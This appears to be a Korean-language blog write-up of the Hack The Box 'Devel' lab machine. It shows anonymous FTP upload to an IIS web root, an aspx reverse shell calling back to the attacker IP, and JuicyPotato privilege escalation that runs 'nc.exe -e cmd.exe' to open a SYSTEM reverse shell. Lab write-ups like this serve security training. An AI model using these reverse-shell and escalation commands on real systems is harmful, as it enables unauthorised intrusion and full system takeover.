Post

HTB Devel

Recon

PortScan

발급받은 머신을 대상으로 포트를 스캔하면 21/tcp, 80/tcp 가 오픈되어있는것으로 확인할 수 있으며, OS는 Windows 시스템으로 확인되고 FTP가 익명으로 접근이 가능한 것을 확인할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-08 10:21 KST
Nmap scan report for 10.129.71.2
Host is up (0.21s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  01:06AM       <DIR>          aspnet_client
| 03-17-17  04:37PM                  689 iisstart.htm
|_03-17-17  04:37PM               184946 welcome.png
| ftp-syst:
|_  SYST: Windows_NT
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-title: IIS7
|_http-server-header: Microsoft-IIS/7.5
| http-methods:
|_  Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.67 seconds

FTP

포트 스캔 결과에서 FTP 익명 로그인이 가능한것으로 확인되어 FTP 접근 시 아래와 같은 파일을 확인할 수 있다.

1
2
3
4
ftp> ls
03-18-17  01:06AM       <DIR>          aspnet_client
03-17-17  04:37PM                  689 iisstart.htm
03-17-17  04:37PM               184946 welcome.png

구조를 보니 FTP 경로가 IIS 웹루트 경로인것으로 예상되어 FTP에 테스트 파일을 업로드 후 포트 스캔으로 확인할 수 있었던 웹 서비스로 접근을 시도해보는 테스트를해보니 웹루트 디렉터리가 맞는것으로 확인된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~/Desktop/Devel]
└─# echo "juicemon test" > juicemon.html

┌──(root㉿kali)-[~/Desktop/Devel]
└─# ftp 10.129.211.55
ftp> put juicemon.html
ftp> ls
03-18-17  01:06AM       <DIR>          aspnet_client
03-17-17  04:37PM                  689 iisstart.htm
11-08-23  07:27AM                   15 juicemon.html
03-17-17  04:37PM               184946 welcome.png

┌──(root㉿kali)-[~/Desktop/Devel]
└─# curl http://10.129.211.55/juicemon.html
juicemon test

Foothold

위에서 포트 스캔을 통해 익명 FTP 연결이 가능한 것으로 파악되었고, 연결된 FTP 디렉터리는 IIS 웹 루트 디렉터리로 확인되었다.

Reverse Shell (aspx)

FTP에 aspnet_client 의 존재를 확인하여 ASP가 동작 가능할것으로 예상해 리버스 쉘을 실행하는 aspx 코드를 생성하여 FTP에 업로드해본다.

먼저 github에서 확인할 수 있는 aspx 리버스 쉘 코드를 다운로드 후 shell.aspx 파일 내 호스트와 포트 변수를 공격자 IP와 리스닝 포트로 수정한다.

1
2
3
4
5
6
7
8
9
10
11
12
...
...
...
protected void Page_Load(object sender, EventArgs e){
	String host = "10.10.14.55"; //CHANGE THIS
    int port = 30000; ////CHANGE THIS

    CallbackShell(host, port);
}
...
...
...

이후 FTP에 업로드 후 30000포트를 리스닝한다.

1
2
3
4
5
6
7
┌──(root㉿kali)-[~/Desktop/Devel]
└─# ftp 10.129.211.55
ftp> put shell.aspx

┌──(root㉿kali)-[~/Desktop/Devel]
└─# nc -lvnp 30000
listening on [any] 30000 ...

이후 업로드한 리버스 쉘 코드를 실행하기위해 curl 요청을 진행한다.

1
2
┌──(root㉿kali)-[~/Desktop/Devel]
└─# curl http://10.129.211.55/shell.aspx

리버스 쉘이 실행되면서 공격자 리스닝 포트로 쉘이 떨어지는것을 확인할 수 있다.

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/Desktop/Devel]
└─# nc -lvnp 30000
listening on [any] 30000 ...
connect to [10.10.14.55] from (UNKNOWN) [10.129.211.55] 49170
Spawn Shell...
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

c:\windows\system32\inetsrv>whoami
iis apppool\web

User

System

위에서 FTP에 리버스 쉘 코드를 업로드 후 웹에서 쉘을 트리거하여 리버스 커넥션 쉘을 획득할 수 있었다.

이후 접근된 계정을 확인했을 때 iis apppool\web 서비스 계정으로 확인되었다.

해당 계정에서 권한을 확인 시 SeImpersonatePrivilege 권한이 활성화 된것으로 확인된다.

해당 권한을 이용하여 모든 프로세스를 처리할 수 있는 토큰을 가장할 수 있지만, 토큰을 생성할 수는 없다. Windows 서비스에서 권한 있는 토큰을 얻어 NTLM 인증을 수행한 다음 SYSTEM 으로 프로세스를 실행할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
c:\windows\system32\inetsrv> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeShutdownPrivilege           Shut down the system                      Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

Juicy Potato

위에서 얘기한 SeImpersonatePrivilege 권한을 악용하는 Potato 중 하나인 JuicyPotato를 사용하여 권한 상승을 시도한다.

먼저 Juicy Potato 레포지토리 릴리즈에서 확인되는 빌드 파일을 다운로드하여 대상 시스템에 업로드할 수 있도록 SMB Server를 실행한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~/Desktop/Devel]
└─# wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe

┌──(root㉿kali)-[~/Desktop/Devel]
└─# impacket-smbserver  share . -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

이후 리버스 쉘을 통해 공격자 SMB 서버에 연결 후 JuicyPotato.exenc.exe 를 다운로드한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
c:\windows\system32\inetsrv>cd C:\Windows\Temp
cd C:\Windows\Temp

C:\Windows\Temp>net use \\10.10.14.55\share
net use \\10.10.14.55\share
The command completed successfully.

C:\Windows\Temp>copy \\10.10.14.55\share\JuicyPotato.exe .\JuicyPotato.exe
copy \\10.10.14.55\share\JuicyPotato.exe .\JuicyPotato.exe
        1 file(s) copied.

C:\Windows\Temp>copy \\10.10.14.55\share\nc.exe .\nc.exe
copy \\10.10.14.55\share\nc.exe .\nc.exe
        1 file(s) copied.

업로드한 파일이 정상적으로 실행되는지 확인하니 실행이 불가능했고, systeminfo를 통해 확인 결과 x86 시스템으로 확인되었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
C:\Windows\Temp>.\JuicyPotato.exe
.\JuicyPotato.exe
This version of C:\Windows\Temp\JuicyPotato.exe is not compatible with the version of Windows you're running. Check your computer's system information to see whether you need a x86 (32-bit) or x64 (64-bit) version of the program, and then contact the software publisher.

C:\Windows\Temp> systeminfo
systeminfo

Host Name:                 DEVEL
OS Name:                   Microsoft Windows 7 Enterprise
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          babis
Registered Organization:
Product ID:                55041-051-0948536-86302
Original Install Date:     17/3/2017, 4:17:31 
System Boot Time:          8/11/2023, 7:11:35 
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.

조금 찾아보니 x86 시스템을 위한 JuicyPotato 빌드인 Juicy.Potato.x86.exe를 확인할 수 있었다.

다시 x86 JuicyPotato를 업로드하여 실행하니 이번엔 정상적으로 실행이 가능하였다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
C:\Windows\Temp>copy \\10.10.14.55\share\Juicy.Potato.x86.exe .\Juicy.Potato.x86.exe
copy \\10.10.14.55\share\Juicy.Potato.x86.exe .\Juicy.Potato.x86.exe
        1 file(s) copied.

C:\Windows\Temp>.\Juicy.Potato.x86.exe
.\Juicy.Potato.x86.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z only test CLSID and print token's user

https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_7_Enterprise 를 참고하여 Windows7의 CLSID를 확인 후 그 중 하나인 6d18ad12-bde3-4393-b311-099c346e6df9를 사용하여 높은 권한으로 업로드한 nc.exe를 높은 권한으로 실행하면서 공격자 IP로 쉘을 전달한다.

1
2
3
4
5
6
7
C:\Windows\Temp>Juicy.Potato.x86.exe -l 9000 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.55 30001" -t * -c {6d18ad12-bde3-4393-b311-099c346e6df9}
Testing {6d18ad12-bde3-4393-b311-099c346e6df9} 9000
......
[+] authresult 0
{6d18ad12-bde3-4393-b311-099c346e6df9};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

권한 상승이 정상적으로 동작하고 상승한 권한으로 nc를 실행하여 공격자에게 cmd 쉘을 전달하여 system 권한의 쉘을 획득할 수 있다.

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/Desktop/Devel]
└─# nc -lvnp 30001
listening on [any] 30001 ...
connect to [10.10.14.55] from (UNKNOWN) [10.129.211.55] 49203
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

This post is licensed under CC BY 4.0 by the author.